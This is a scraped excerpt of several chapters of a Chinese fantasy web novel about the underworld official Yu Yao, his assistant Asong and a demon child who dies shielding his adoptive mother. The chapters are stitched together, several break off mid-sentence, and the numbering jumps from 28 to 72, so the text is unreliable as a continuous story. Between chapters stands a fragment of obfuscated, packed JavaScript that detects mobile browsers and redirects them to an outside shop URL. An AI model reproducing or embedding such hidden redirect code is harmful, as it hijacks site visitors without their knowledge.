但预想中刺进皮肉的痛感并未袭来,她只感觉到有人握着她的双侧手臂迅速移动了身型,接着,她感觉到身后之人的身体猛地顿了一下。 半晌,缓缓睁开眼,发现自己已经从面对喻遥三人,变成了背对三人。 身后贴身之人的喘息声越来越响,她仿佛意识到了什么,慌忙转过身去,发现那魔童瞬息之间已经变得面色痛苦,手上握着她的气力也松弛下来。 下一秒,那魔童直接倒了下来。 她瞬间惊慌失措,急忙蹲下身拉住那倒地魔童的手,将其搂抱在怀中。 魔童的身后开始冒出大量的黑气,她翻动他的身体才发现,那金羽镖正中了他的后背心口处。 阿宋诧异,那魔童居然替黎娘挡住了这致命的一招! 她扭头看微笑着的喻遥,他眼里是计划得逞的骄傲得意。 难道,他已经早就预料到这魔童会替黎娘挡这一招了吗? 此刻是计划成功了,但若是他预测失败呢?现在倒地丧命的,岂不就是黎娘了。 如此兵行险招,隐隐让人觉得一阵不寒而栗。 黎娘手开始不断地颤抖,全身变得紧绷,道:“双儿,我这帮你取出来!” 她双手握住那金羽却发现怎么也拽不下来,反而折腾的那魔童面色更为痛苦。 而且,那金羽突然之间不知道是被那黑气折腾的染色还是褪色般,正在慢慢地从金羽变成一片黑羽。 “放弃吧,你拽不下来的。” 喻遥走到他们面前,道:“这金羽吸食的是他的魔气,等他的魔气被吸食干净,这金羽,就会被浸染成一片黑羽。” 黎娘一看,那金羽此时已经染色了一半。 她道:“变成黑羽后他会怎么样?” 喻遥淡淡道:“魔气散尽,魂飞魄散。” 黎娘的眼睛剧烈地一颤,不可置信地看着眼前虚弱的魔童,心底再度被和多年前一致的恐惧笼罩,双眼泪水潸然落下。 她砰地一声给喻遥跪下,边哭边磕着头道:“我求求您,不要杀我的孩子,我求求你,求求你了!” 阿宋和海猛在两边要拽她起来,她拖着身子怎么都不肯动。 喻遥蹲下身,皱起眉看她道,冷静道:“他不是你的孩子,他只是只魔。” “不,他是我的儿子,他就是我的儿子。”黎娘还在不停地磕头。 突然,身后那魔童虚弱开口道:“你,你,你过来。” 听到声音,黎娘一抹眼泪爬过去,将那魔童抱在怀里,道:“娘在,娘在,你说。” 魔童声音十分虚弱,道:“我,我不是你的儿子,你的儿子已经死了。” 黎娘接近癫狂般的用力摇头道:“不,你是,你就是,你就是我的儿子!” 那魔童露出个无奈的笑容,道:“黎娘,你真的是一位很好很好的母亲,我们相处时日虽然不多,但和你相处的点点滴滴我都记在心里。” 他的手颤抖着去抓自己的衣角,展示给黎娘看:“你为我缝制的这件新衣我很喜欢。和你相处的这段日子里,你曾为我做饭,关心我的伤势,在我狂躁之时,不顾恐惧与我谈心,这些,都是我在短短的人族生命里,从来没体会过的东西,” “既已成魔,我便不再奢求任何人类感情,我当初裹挟你而来,是因为你在那房中对我所说的话,让我感受到了久违的温暖,是我亲生母亲,也未曾给过我的温暖。” “我承认我贪心了,承认我还是动了感情,我知道自己终究为这心软付出代价,但是替你挡招这件事,我绝不会后悔,可是.....” 金羽已将近全部染黑,魔童的性命亦接近末路,道:“但我终究不是你的儿子,虽然我,真的真的,很想成为你的儿子。” 他收起自己幻化出的脸,露出原本的样貌,道:“你看到了吗?我的脸是假的,我是骗你的,我是一个邪恶的魔,所以,请不要为我难过,也不要为我哭泣。” “我知道那日如果不是我突然上门,你已经从坟场回来之后,决定了结自己的生命,但是我想说,虽然我不是你真正的儿子,但是我一定和他拥有一样的想法,那就是希望你能够活下来,黎娘,请求你,一定要好好的活下去。” 黎娘将他的手紧紧攥在手里,祈求道:“我求求你,你别说了,别说了!” 对话间,那金羽染色完毕,彻底化为一片黑羽。 “谢谢你。” 那魔童笑着道出最后一句,便阖上了双眼,被吸光魔气的魔体魂身再也无所支撑,顷刻间便化为了黑色的粉末,弥散在了众人面前。 但那黎娘却维持着跪在地上的姿势,眼前空洞而呆滞,久久未起,直到很久阿宋觉得不能再这样了,硬是将她扶起。 喻遥一转身,望向那饕餮刚才倒地的位置,已经不见其踪影,想来是刚才趁他们不注意之时已经溜走了,尤其是这魔童已灭,魔种自消,他也没了能控制他的人。 半晌,喻遥叹口气道:“算了,先回去吧,其他的以后再说吧。” 说着就转身要离开此处。 这时,黎娘突然在身后开口道:“你为什么要杀他?” 喻遥停下脚步,回头看她,道:“什么?” 黎娘怒喊道:“我问你为什么要杀他!他是我的儿子!你为什么!” “他是一只魔。”喻遥冷冷道。 黎娘已经听不进去任何,直朝喻遥扑过去,拳头劈头盖脸地落在他的身上。 吓得旁边的阿宋和海猛急忙上去拉,急道:“黎娘,你清醒一点,那是只魔啊,他不是你的孩子!” “他就是我的孩子!”黎娘不管不顾的喊道。 喻遥没有动作,默默地承受这一切,半晌突然表情忍无可忍,抬起手狠力抓住黎娘的两只手臂,力气大的她吃痛一声。 喻遥喊道:“你的孩子?你的孩子早就死了!你在这里发什么疯!” 他说话声音又大又直接,黎娘的精神状态已经不堪一击,阿宋生怕他再刺激到黎娘,想上去接过,用更温和的方式调节。 喻遥却直接以动作拒绝了,对着黎娘接着喊道:“好啊,他是你的孩子!你知道你这个孩子做了什么吗?他杀了人!杀了两个无辜的女子,还是虐杀!如果不是你命大,不是我们来救你,可能你早就死了!” “他是个魔童,你在想什么?你以为几日相处,他就是真的会对你有感情了?他现在是对你温和孝顺,哪天他魔性大发,你控制得住吗?!他再出来杀人,你负责的起吗?你真正的孩子知道这些,他会接受吗?!” 问出最后一句的时候,喻遥猛地松开手,将那黎娘推在地上。 黎娘被他这几句话问的哑口无言,愣怔在原地,半晌道:“你不会懂的。” 接着,她从地上慢慢地爬起来,宛若一只游荡于世间的孤魂野鬼,自顾自地走了出去。 布衣坊已经被毁了无法住人,黎娘就被安置在了海猛的城主府。 黎娘从进了房间开始,两天都没有出来过,其间阿宋硬是进去送了点吃的进去,等去收盘子的时候,发现对方是一口都没动。 阿宋和喻遥站在她房间门口聊天,阿宋道:“大人,你说话太直接太伤人了。” 喻遥道:“我讲话只讲事实,况且,是她的问题,她自己走不出来。” 阿宋道:“这怎么办,她这样会饿死的。” 喻遥揉揉眉心,半晌道:“解铃还须系铃人,我已有办法。” “什么办法?” 阿宋看他手伸入怀中,掏出一个 26. 阴谋又出 《三界追星图鉴》全本免费阅读 喻遥面露喜色,将这本命簿与其他几本收在一起,朝双儿伸出手,轻声道:“来吧,该离开了。” 双儿面露不舍,回头与黎娘再度拥抱一番,最后依依不舍地转身,拉上喻遥的手。 黎娘已落下泪来,道:“公子,我......” 喻遥道:“放心,我会跟判官大人说,下一世为双儿择取一个好命格。” 黎娘放心了,道:“多谢,多谢。” 喻遥拱手道:“一世相遇,有幸能够成为家人,已属缘分难得,不可贪心多求,此次让双儿与您再次相见,也是希望能够了却你们彼此的心愿,而后能够看开,奔赴轮回。” 黎娘道:“你放心,公子,我已看开,不会再做违背天道的事情。” 摸摸双儿的头道:“孩子,娘亲会等着在这人世间,有机会与你再度重逢。” 双儿乖巧地点点头。 喻遥拉起他的手,道:“那,有缘再会了,黎娘。” 背后黎娘的身影已经越来越模糊,三人走到南悦城门口,听到身后传来呼声:“喂老鬼!阿宋妹子!你们等等我!等等我!哎呦!” 一转头看到海猛招着手狂追他们而来,好不容易追上又一个不小心卡摔在了他们面前。 阿宋将他扶起道:“海猛大人,你的出场方式还真的是每次都这么狼狈啊。” 海猛挠挠头道:“哈哈,一时大意一时大意!” 喻遥皱眉道:“你还有事?” “啊,也没什么事,就是,那个,就是吧......” 海猛神情扭捏,说话也吞吞吐吐的,让人捉摸不清他到底想说些什么。 喻遥催促道:“有话快说。” 海猛心一横,不管不顾了,道:“就是,那个,我想说谢谢你!” 他一着急,谢谢你三个字几乎是吼出来的,直把喻遥都给整愣住了。 海猛反应过来,缓和了些语气道:“那个,谢谢你治好我的伤,圆我的心愿!我知道我们初见闹得不太愉快,彼此好像也不太看得上对方。但是现在,我是真的感谢你,而且,相处下来,我觉得你这老鬼确实是有点东西在身上,我现在也是真的佩服你了!总之,总之,啊呀,就是谢谢你!” 他猛地一鞠躬。 喻遥看着他不说话,半晌露出笑容,道:“不必多谢,只是顺手而为。” 将海猛扶起道:“你是个好城主,做事很努力,对百姓也很用心,即便受伤了也很敬业。” 他二人间很少有这般夸赞客套的对话,夸得海猛还有些不好意思。 喻遥接着道:“虽然有些鲁莽,智商也不够聪明,而且有时候......” 海猛忙打断道:“喂喂喂可以了可以了,到敬业那里就可以了,后面的可以不说。” 心里暗道:跟你这老鬼可真的是煽情不了一点! 喻遥笑道:“你的腰伤很重,我无法彻底治愈,但是至少现在的你不会长期受病痛折磨,简单的使枪对敌是可以的,但是你要知道,上战场打仗什么的是绝无可能的了。” 海猛道:“你放心,我已经看开了,对上战场不抱什么希望了。伤痛能恢复我就已经很感谢了。” “那就好。”喻遥笑道:“那,再见喽?海猛大人。” 海猛抱拳道:“有缘再见了,老鬼!” 阿宋摆手道:“再见啦,海猛大人!” 海猛望着喻遥和阿宋渐行渐远的背影,直到彻底消失在他的视野里,喃喃道:“有缘再见了,朋友!” 再度回到地界,已是五日之后。 喻遥已提前给揽星传送消息告知归期,刚到地界门口不远处,远远地就看到揽星拿着把竹椅一脸悠闲地坐在地界大门口等着。 揽星看清不远处一蓝一红两抹身影,立刻站起,正准备打招呼,突然想到什么抬头一望。 喻遥他们走的时候贴在大门上面的欢送横幅还没撤走,他眼珠子一转有了主意,手指向上一施灵息,横幅上面的字立刻变成了:热烈欢迎财计司喻遥大人回归地界! 喻遥一走近,揽星立刻笑着朝他走去,伸开双臂意图要给他一个大大的拥抱。 未料喻遥轻车熟路,一弯腰直接从他手臂下边穿过去,回身拜礼一套动作,送上命簿道:“大人,地界所有丢失命簿已找回,共二十本还请您查验。” 判官大人“亲近”下属未果,撅着嘴转过身来,道:“阿遥啊,你怎么还是这么生分,不是说不要叫我大人了嘛,你看我还挺特意给你弄了横幅。” 喻遥却只是道:“请大人查验。” 揽星摸摸鼻子,无奈道:“哎行吧行吧,走吧,先回揽星阁再看。” 三人回到揽星阁,阿宋一进来莫名就有种回家了的归属感,在南悦城这么久,出了这么多事,又费心又费力的,可折腾死她小狐狸了,还是在地界好,消消停停,什么事都没有。 揽星从喻遥接过那些命格簿,挨本查验,看到最后一本的时候,却停下来放在手中。 他问道:“这就是那本?” 喻遥点头道:“没错。” 他抬起手,将手掌放于那命簿之上,命簿当即再次冒出红光。 揽星面露喜色,道:“太好了,终于找到了。” 他又抬眼看喻遥道:“你要现在就打开它吗?” 喻遥点头道:“我等这一天,已经很久了。” 揽星道:“好。” 他左手覆在命簿上,刚要发力,突然想到什么,扭头看旁边瘫坐着的阿宋。 阿宋:“?” 揽星对喻遥道:“要不要让她先回避?” 喻遥不加犹豫道:“不必。” 揽星一愣,似意识到了什么,表情有所动容,回头八卦地看了一眼阿宋,转头道:“好。” 接着便左手绷紧发力,施以灵息。 瞬息之间,那命簿的缝隙散发出了更为强烈刺眼的红光,并且,那命簿的封面开始慢慢开启。 封皮与书本的缝隙一点一点地扩大,红光正是从里面发出的,让人看不清里面具体是什么东西。 揽星的手掌愈发用力,想让那书籍翻开的更快些,喻遥更是紧紧盯着,一颗心提到了嗓子眼。 二人的状态异常的严肃紧绷,直看的旁边的阿宋都跟着一起紧张。 她不禁好奇道,这命簿里到底写了什么关键的东西啊?又不是藏宝图,这两人怎么突然都这么紧张? 书本突然剧烈地震颤了一下,揽星一愣,接着那红光突然之间变成了一股白光,嗖地一下,从中朝喻遥射出一股光线。 喻遥和揽星脸 27. 转生不能 《三界追星图鉴》全本免费阅读 阿宋试探性道:“大人,你还好吗?” 她缓缓抬起手想要去触碰喻遥,动作却牵动了伤口,下意识地嘶了一声。 喻遥立刻抬头看向她,而阿宋对上他的眼神,内心却有些迷惑了。 因为,她觉得此时,喻遥的眼中除了担忧,还多了一重不知缘故的无助。 措不及防的,喻遥开口道:“对不起。” 阿宋没反应过来,道:“啊?” 喻遥猛地站起身,再次重复道:“对不起,是我的错。” 虽然不知道命簿里为什么会冒出这鬼东西,虽然她确实因为这个受伤了,但是这也怪不得他吧。 阿宋刚想解释,揽星就先行开口道:“你不要这样,阿遥,你......” 话未说完,就被喻遥截口道:“对不起,我想自己冷静一下,告辞。” 语毕他便快速地闪身出去了,速度之快甚至让人觉得有些狼狈,就像是逃走的一样。 屋里就剩阿宋和揽星二人,两人对视一眼,揽星那张始终笑嘻嘻的脸上,难得出现尴尬的表情,道:“这个......小阿宋,我先叫医官给你处理下伤口哈,然后,那个,我也先出去一下。” 说完他也闪身出了门,屋里只留下了一脸不明所以的阿宋。 不一会儿,医官就过来给阿宋处理了伤口,等医官走后,阿宋一个人在揽星阁待到了半夜,也没见喻遥和揽星回来,一时无聊,想了想,便走了出去。 一个人漫无目的地在地界里闲逛了好久,不知不觉地就走到了一处高台之上,她倚靠着高台边,吹着夜风,俯瞰下面的风景,不知不觉就又想起了刚才经历的事情。 不由得开始思考:那命簿里为何会出现那样奇怪的东西? 瞧揽星和喻遥诧异的表情,那东西应当不是原本就在命簿里的,所以是被人另外放进去的? 那么放的目的是什么?是想攻击谁? 而且,喻遥和揽星......原本想要从命簿里看到的东西又是什么?那命簿到底是何人的? 疑问颇多,却都无从解答,思来想去,最后,脑海间留下的还是喻遥那个无助的表情。 近日相处以来,喻遥在她面前永远是一副从容不迫的样子,好像不管做什么事,遇到什么困难,他都有把握能解决。 今日那茧丝虽冒出突然,但以喻遥的反应速度,绝不应该就这么束手无策地傻站着,还要等她去救。 他的状态实在是不太对劲。 哎呀,想不通想不通。 越想越苦恼不已,阿宋烦躁地敲了敲自己的脑壳。 这时,身后传来轻快的声音,道:“不要总敲自己的脑袋,会变笨哦。” 一扭头,发现是揽星从身后的台阶慢慢走了上来。 阿宋抱怨道:“判官大人,你可终于是回来了!我一个人在揽星阁都待无聊了!” 虽然都是自己的上司,但或许是揽星总是一副笑嘻嘻没心没肺的样子,所以阿宋跟他相处起来没有和喻遥的拘谨乖巧感,反而可以放心地抱怨吐露心声。 揽星吐了下舌头,道:“哎呀!我这不是有事情去忙了吗?” 阿宋反问道:“你是去找喻遥大人了吗?” 揽星眯起一只眼,露出个坏笑看她,道:“怎么?你关心他啊?” 阿宋一愣,道:“他那个样子,很难不关心吧,不过,你表情怎么这么奇怪?” 揽星道:“嘿嘿。” 嘿嘿个鬼啊! 阿宋道:“大人,你正常点,我害怕。” 揽星切地一声,一摆手道:“哎呀,怎么说我也是堂堂的判官大人,感情的事嘛,我都懂啦!” 阿宋暗道:你懂?你是判官又不是月老,懂什么感情的事? 还有...... 和感情有个毛线关系啊!! 看阿宋一脸无语的表情,揽星也不和她闲扯了,咳嗽一声道:“好啦好啦,我是跟着去看他了。” 阿宋道:“他怎么样?有好些吗?我看他刚才好像有点不太对劲。” “哎。”揽星道:“他啊,是想起了以前的事情,过不去那个坎罢了。” 以前的事情?阿宋暗道,相处多日,喻遥极少透露自己过去的事情,虽然几次谈话让她隐隐觉得喻遥已对她敞开了些许心扉,但于她而言,喻遥仍然是一个充满秘密的存在。 揽星又问道:“你和他在南悦城调查之时,他可有使用灵息?” 阿宋道:“有的,和魔童对战之时,我打不过,都是喻遥大人主要与其对抗的。” “既然如此。”揽星抬眸道:“那你是不是,有看到过他手上那个......” “什么?”阿宋想了想,道:“哦哦,你说那个疤是吧!” “对对对,他果然给你看了。”揽星道。 阿宋不解道:“喻遥大人的疤,和他使用灵息有什么关系吗?” 揽星道:“有啊,他只要使用灵息,那个疤痕就会裂开。” “什么?!”阿宋诧异,很快反应过来道:“难怪那日,他并未受到攻击,手却流血了。” 又问道:“怎么会有这么诡异的限制,他的疤痕是怎么来的。” 揽星坦然道:“不知道。” 阿宋一脸你在玩我吧的表情。 揽星两手一摆,道:“别这么看我,我真的不知道。” 阿宋学着他的样子拿腔拿调道:“怎么说我也是堂堂的判官大人......” 揽星道:“打住打住,虽然这个不知道,但是别的我都知道。” 阿宋道:“比如呢?” 揽星道:“比如喻遥为什么在地界待了两千多年不去转生。” 阿宋来了兴趣,揽星看出来了,道:“我就知道你关心这个,我听喻遥说,你跟他讲,人界有关于他的话本故事流传甚广?说他是个痴情种天天守在奈何桥等自己的心上人?” 阿宋道:“对啊。” 揽星一摆手,嗐道:“那都是瞎传的,其实喻遥两千年不去转生的理由很简单。” “——就是他不能转生。” 阿宋迷惑了,不能转生是什么意思。 揽星看出她不解,道:“我从头给你讲吧,这些,喻遥应该都没有跟你讲过。” “你应该知道,喻遥是一只两千年的鬼吧?但其实,他虽然是两千年前来到 28. 我不愿意 《三界追星图鉴》全本免费阅读 阿宋道:“那怎么办?” “不怎么办。”揽星道:“地界上次出乱子,还是一千多年前跟狮族打的那场仗,而且狮族战败之后,三界各族签订了和平协议,到现在也太平的很。地界管理严格,更是没什么乱子可出,所以,没有灵息,也无所谓,反正不会有人莫名其妙的来打你,找你的麻烦。” “但是,这样的神经病还还真出了一个,并且,他专门找喻遥。” “喻遥有一天在地界生活的好好的,突然间,就来了一个以银丝作为武器的人,对,就是你白日看到的那种,他的银丝,很奇怪,很诡异,看着纤细,实则有力,缠住人之后,若是有心,须臾间就可割破人的喉咙,钻漏人的心脏,轻易就可夺人性命。” “但是这个人,他找上喻遥的目的并不在于想要杀他,而是,折磨他,羞辱他。” “初次相见,他便将喻遥以银丝绑在树上七天七夜,并且用银丝化成的鞭子抽打他,辱骂他,并且话里话外的意思是说,他现在对喻遥所做的一切都是他应得的。” “之后,等他打过瘾了泄了愤就又会离开,但是隔一段时间,十年,二十年,他又会再来。” “没有人知道他到底是什么意思。喻遥和我说过这件事情后,我们也曾经蹲守过他,想要擒住他,了解他到底什么目的。” “可是,这人十分阴险,仿佛知道我们会在何时何处等着他一般,绝不会上我们的圈套,而是会在下一次擒住落单的喻遥的时候,用言语羞辱他的计谋和行为。” “喻遥很痛苦,真的很痛苦,你要知道,对于一个人来说,活不长和活的太长都不是一件让人舒心的事情。几十年,甚至几百年还好,但活了上千年,身边的人都去转生了,周围的人换了一波又一波,你却还茫然地停留在原地,你不知道自己是谁,不知道自己为什么不可以转生,想要修炼灵息,却被自己手上不知出处的疤痕控制,还有一个古怪的疯子,没事就来找你的麻烦,以取笑你羞辱你为乐,这是多么大的精神折磨。” “渐渐的,喻遥的性格就变了,他一开始还是对转生充满希望的,时间一长,他好像就觉得没希望了,他觉得自己,可能要一直这样下去了,既然无法转生,他就想到了死。” “魂身,想要消弭于世,除了被人杀死,还有一种办法,便是跳下那寂灭台。” “由一点分支为两条路,寂灭台就在转命轮的旁边,它们并排而立,却是一生机一灭绝的结局。” “但就是在寂灭台,喻遥遇到了孟婆,改变了他当时想死的心意。” “孟婆的职务是负责看管奈何桥,我和她接触不多,但也听说过,她是个脾气古怪的人,总之,不知怎的,他二人相处之下,关系越发近了起来,成了朋友,那会儿生活在一起。” “又过了几百年,那个人他又来了。但是这次,他和以往不一样,他是带着杀意来的,整个人的状态看起来异常疯魔。那时我因为公务外出不在地界,无法保护他,喻遥没有灵息,落在他手里,当然不会好过。” “就在喻遥马上要被他的银丝毁灭魂身之时,孟婆及时出现,回击挡了那人一招,但一招容易,再对上,她哪里是那人对手,眼看,就要双双落入他手,孟婆让喻遥快逃,喻遥怎么可能会抛下朋友,独自偷生。于是,眼睁睁的,喻遥看见那人穿破了孟婆的心脏,又牵起万根银丝将她吊起,层层包裹,化为一只丝茧,而后粉身碎骨,身死魂消。” “也许是死了一个人,那人疯魔的状态清醒了不少,也冷静下来了,他没有杀喻遥,但是离开之前还是重复了那句他每次都会说的话。” “这是你欠我的,你应得的。你记住,所有你身边的人都会死于非命,你就等着吧,直到那最终一刻降临,你终将也会获得和他们一样的下场。” 阿宋听得面色凝重,她从未想过喻遥会经历这样的过去。 揽星道:“从那之后,他的话像诅咒一样被加诸于喻遥的身上,他意识到,他身边的人可能都会因为他最终被那个魔鬼杀死。” “所以,他开始排斥身边的所有人,包括我。” 说到这,揽星笑了,道:“你听到过吧,我经常叫他不要叫我大人,我知道这是他与我拉开距离的方式,觉得跟我生分,是保护我的一种方式吧。” “但是,我堂堂判官,怎么可能会怕那种行迹如鼠,专门搞阴招的人,所以他再作出一副跟我保持距离的死样子,也没用,我就是拿他当我朋友了!” 阿宋道:“那,他后来怎么又会有那么强大的灵息了呢?” “因为,他不甘心啊。” 揽星叹口气道:“大概是孟婆的死刺激到他了吧,他那段时间也变得很疯魔,把自己关在房间里,一心只想着,一定要为孟婆报仇,一定要找到那个人。” “可是,他和那个人力量悬殊的不是一点半点啊,没有灵息,他要如何去报仇。” “喻遥是一个总能够创造奇迹的人,在他那里,永远没有真正的绝处,只有触底反弹。所以在这件事情上,他也突破了自我,即便灵息修炼会让他手上的疤痕破裂,让他浑身承受钻心刻骨般的疼痛,但为了报仇,他都可以忍受。” “几百年的修炼成长,他的灵息已经可以战胜地界一大半的灵官。这时,那很久没出现的神秘人又来了。” “喻遥一直在等一个和他决斗的机会,这次,那个人没有如往常一样折磨羞辱他,而是与他正经打了一场。” 阿宋急迫道:“那最后呢,最后谁赢了?” “平局。”揽星道:“准确来说,是表面上的平局,那个人并没有使出全力。他跟喻遥说,很高兴看到喻遥的成长,但是对于他来说,杀了喻遥仍然如同踩死蚂蚁一样简单。” “之后,他留下了一句,好戏即将开局,便彻底消失了。直到今天,那银丝再度出现在我们的面前。” 阿宋听后,沉思道:“所以那命簿是?” “是喻遥的。”揽星点头道:“那命簿能与他产生呼应,但却被人投入了那魔茧,现在看来,应该是有人故意做的局,知道我们在寻找命簿,如今随着魔茧释放,假命簿被毁,喻遥的真命簿依然不知所踪。” 阿宋道:“他所言到底是何意,‘你应得的,你欠我的’,莫非,喻遥大人前世与他有仇?” 揽星道:“我们也曾猜想过,但那人始终不摊开了讲,又寻不到命簿,我们也不知何故。” “他的那道奇怪的疤,我们也曾翻阅尽地界的藏书资料,并未发现有相关记载,想要找地君大人问一下,但是地君大人自很久前就因故修养生息,沉睡至今也未问成。” “地君大人?”阿宋回忆道:“这么说来,好像真的没见过他诶。” 揽星笑笑,道:“地君大人和我们不待在一起。” 他转身手指向朝地界的另一边,道:“你看到白日的那一边了吗?我们这边是月穹,地君大人的曜旸宫在日穹的尽头,但是很久以前,他突然生了场病,所以一直在宫内沉睡养体,地界的大小事务也一直是由我来主持操办。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12840647|124362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “难道是灭痕咒?” 所谓灭痕咒,顾名思义,磨灭痕迹。 这种术法,乃是一种可以抹掉某个人在世间全部痕迹的咒术。它只需以对方的一缕魂息为引,便可以通过操控术法,在须臾之间追寻并磨灭掉对方存于世间的全部痕迹。 这咒术的创造和使用均在地界第一次动乱之时。 彼时地界陷入战乱,因当时敌方强大,地界面临覆灭,当时的地君决定镇守地界与之同生共死,但却选择送自己的妻儿离开,却又怕自己的妻儿将来为自己的殒命而难过,故而创下这咒术,将自己的痕迹从妻儿的记忆和整个世界消除,只盼自己死后世界再无他的痕迹,也就不会让亲人勾起过往记忆感到悲伤难过了。 但此咒在之后的岁月里,却被有心之人加以利用谋取私利,造成恶果,所以便又被后来继任的下任地君给封禁了。 喻遥不明白,揽星不仅杀了此人,还要抹掉其在世间所有的痕迹?这很难不让人猜测二人之间莫非有什么深仇大恨?既是有仇,又为何要千辛万苦帮对方隐匿行迹? 想到此处,喻遥召唤出金羽,受其命令,金羽很快分化为多个,穿梭于书柜之间。 阿宋注意到,金羽似乎只在面前的几座史书柜前后穿梭,疑惑道:“你想让他们干嘛?” 金羽效率甚高,不出多时,似乎就已做事完毕,多个化一,落在喻遥的肩膀上,贴着他的耳朵摇摇晃晃地像个小人开始汇报,结束后又乖乖地插回发间。 喻遥道:“我拜托它们帮我对这些史书进行一下分类。” 阿宋道:“有什么用?” 喻遥道:“既然灵火灼洞抹除的都是那第三人的痕迹,同时也说明,灼洞存在的地方刚刚好就是他存在的证明。我请金羽经过分化,将灼洞出现的地方进行分类,再根据时间顺序排列,发现,此人在地界史书上出现的最后时间便是地界的二次动乱。” 阿宋道:“也就是说?他就死于地界的二次动乱?” 喻遥道:“不错,或许我们需要找人了解下当时的状况,这样的一位阵法天才,在地界就算死去,也绝不会无声无息的,我们......” 见他忽而不说话了,阿宋疑惑道:“你怎么了?你......” 话说了一半,她突然也不出声了。再开口的时候,表情突然活泼生动了起来,声音也跟着大了:“啊呀!感觉好像也还是没什么头绪呢!这里没什么线索呢!看来我们得去别的地方再看看了!” 喻遥也难得大声道:“是啊!我们现在就走吧!” 阿宋道:“对!现在就走!” 她一边说着话,一边放下手里的书往外走,腿虽然往前迈眼珠子却是往后瞟的,喻遥背过手跟着一起走出了藏经室,顺手带关上了门。 藏书室内再度被封闭,恢复沉寂。 这时,黑暗之中,某个书柜后忽然伸出了一只手,托着一团灵火照亮了周围的一小片空间。他从书柜后闪出,火光映照,面貌半明半暗。 72. 记忆全失 那人走到喻遥阿宋刚才待的书柜旁边,从里抽出了千阵万术经,只看了一眼封皮,就似乎十分苦恼,挠了挠自己的头自言自语道:“千车万木经,这是什么东西?讲坐骑的吗?” 表情颇为认真地看了半晌,忽而又不耐烦地暴起啐骂道:“妈的,怎么都是字,也不画点图,都看不懂!” 就在此时,门外轰隆一响,男人暗道一声不妙,抬腿想躲闪回原处,却终是晚了一步。室门已然大开,外面的光打进来,他再无所避,直直地暴露在了喻遥阿宋面前。 他此时一腿高抬,上半身张牙舞爪,整个人呈半逃不逃状,望着面前的喻遥和阿宋,尴尬的姿势中透露着一丝微妙的滑稽。 喻遥噗嗤一声笑出来。明大人立即放下腿,怒道:“他娘的抠门精!你笑什么!” 阿宋哭笑不得,虽只有之前在移镜内匆匆一见,但却对其“睚眦必报”的奇特理解印象深刻,如今又多出了个千车万木经,她刚才在门外听着可真是要笑抽了。 刚刚,原是喻遥忽而感知到了有人躲在暗处,想着来个引蛇出洞,便与她心念通信告知计划。只是他本以为会钓出揽星,未成想将明大人给钓出来了。 喻遥走过去,将明大人手里的书簿拿过来,挑眉道:“千阵万术经?嗯哼?” 明大人登时脸色通红,羞耻感涌上心头反化成怒火道:“你管我读什么?我就喜欢叫千车万木经!我还没问你呢,鬼鬼祟祟地来的这什么鬼地方?” “鬼鬼祟祟?”喻遥静静道:“我们之间到底是谁鬼鬼祟祟?刚才在揽星阁里背后跟着我们的就是你吧,一路跟到了现在,你到底想干嘛?” “什么我想干嘛!是你想干嘛!”明大人据理力争道:“今日刑务司轮到我当值巡视揽星阁,半路上看到你带着下属未获得判官大人通行手令私自违规进出藏经室,我出于职责我才跟着你的!你等着,等回头揽星大人回来我一定将你的违规行迹报上去!” 喻遥大方道:“无所谓喽,反正我现在已经卸任了财计司的官职了,不过是地界一位普通平民,判官大人就算再罚又能罚我到哪里去呢?” 眼神忽而变得狡黠,喻遥又道:“倒是明大人你,虽说是追踪我们而来,但是,你现在可是也实打实的站在判官大人的封禁结界之内哦。” 明大人霎时两眼一瞪,他哪想得到这鸟不拉屎的鬼地方居然是判官大人的地盘?刚才也没多想跟着抠门精就进来了。 这、这不是搬起石头打自己的脚了吗! 喻遥在旁边看热闹还嫌不够,又开口体贴安慰道:“也还好也还好,按照管理条例,进入违禁地的灵官也就扣个二百两而已。” 二百两?!明大人心痛不已,一次灵力补贴才五十两!二百两!那就是四次!我了个靠! 明大人愤怒不已,瞧着喻遥这明里暗里嘚瑟加阴阳怪气的态度,情不自禁攥紧拳头就想揍他,喻遥则提前预料到先往旁边闪了一步道:“殴打同僚扣的更多哦!叠加哦!” 明大人:“我!” 我他妈忍一时风平浪静!退一步海阔天空! 明大人强按捺住自己心中的气焰,假作满不在意地道:“哼!区区二百两而已!再说了!怎么说我也是从地界二次战乱开始就跟着大人混的,以我跟大人这么多年的交情,就算他知道了,没准他根本就不会介意我此事!” 此话一出,倒是让喻遥敛了捉弄人的脸色,道:“你与他结交那么早?那你对揽星过去的一些事情了解的可清楚?” 明大人很敏感地问道:“你突然问这个干什么?” 喻遥自然地挎住明大人的肩膀笑道:“自然是有些用处啦,你......” 不等他说完,明大人就抖掉肩膀上他的手道:“要作何用?再说了?我凭什么要告诉你!” 他态度并不友好,喻遥也不急,只背过手缓缓道:“你告诉我他过去的事,我就不告诉他你擅闯他禁地的事。” 明大人注视着他,喻遥接着道:“你放心,我并无恶意,我和揽星的关系你应该也是知道的,作为朋友我绝对不会害他,只是想了解过去的一些事情,而且我要了解的也不是什么绝密信息,我只是想了解关于当年地界二次战乱时的一些事情。” 明大人半信半疑,他对这个在他眼里心机颇深的抠门精一向颇有防备,但瞧他此时态度严肃认真,再一瞟旁边看起来一脸单纯绝不像是有什么坏心眼会跟着他做坏事的小姑娘阿宋,心中逐渐有了动摇。 然而,终归是他想多了,阿宋只是看起来单纯而已,实则眼力见鬼心眼一大堆,见他表情犹豫似有动摇,立刻在旁边给喻遥捧哏,极力抛下诱惑道:“是啊明大人,我们绝对不会说你的事情的!” 阿宋手上比了个二,语气夸张加重音提醒道:“那可是二百两啊!留在自己手里都能打多少酒吃多少肉了!” 明大人差点一口血喷出。 本来都快忘了这茬啊! 谢谢你提醒哦...... 一抹嘴角,明大人背过手佯装正经道:“既然如此,我就信你一回,你说吧,想问什么?” 阿宋登时面露喜色,喻遥在旁道:“我想问你,可知道地界当年有一位阵法奇才?” 